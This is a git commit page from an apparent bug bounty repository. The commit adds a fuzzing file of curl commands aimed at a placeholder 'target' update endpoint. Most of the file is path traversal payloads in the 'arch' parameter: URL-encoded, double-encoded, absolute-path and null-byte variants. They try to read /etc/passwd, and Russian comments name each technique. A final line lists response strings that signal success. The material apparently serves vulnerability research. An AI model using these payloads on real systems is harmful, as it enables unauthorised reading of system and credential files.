hugy/RosettaBugBounty
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Добавить rosetta-sdu-2026-0000/FUZZRAW.txt

Browse Source
This commit is contained in:
hugy
2026-05-29 07:59:31 +00:00
parent 3f2438a1ac
commit 8b0b7a2aeb
1 changed files with 12 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

12
rosetta-sdu-2026-0000/FUZZRAW.txt Normal file
View File

@@ -0,0 +1,12 @@
curl "http://target/updates/get?platform=android&arch=%2e%2e%2f%2e%2e%2fetc%2fpasswd&app=1.0.0&kernel=0.0.0"
curl "http://target/updates/get?platform=android&arch=%252e%252e%252fetc%2fpasswd&app=1.0.0&kernel=0.0.0"
абсолютные пути
curl "http://target/updates/get?platform=android&arch=/etc/passwd&app=1.0.0&kernel=0.0.0"
Null-byte обход (лажа врятли сервер будет старый но все же)
curl "http://target/updates/get?platform=android&arch=../../../etc/passwd%00.jar&app=1.0.0&kernel=0.0.0"
не только на `kernelUrl`, но и на тело ответа
"root:", "USER=", "localhost", "java.version", "os.name"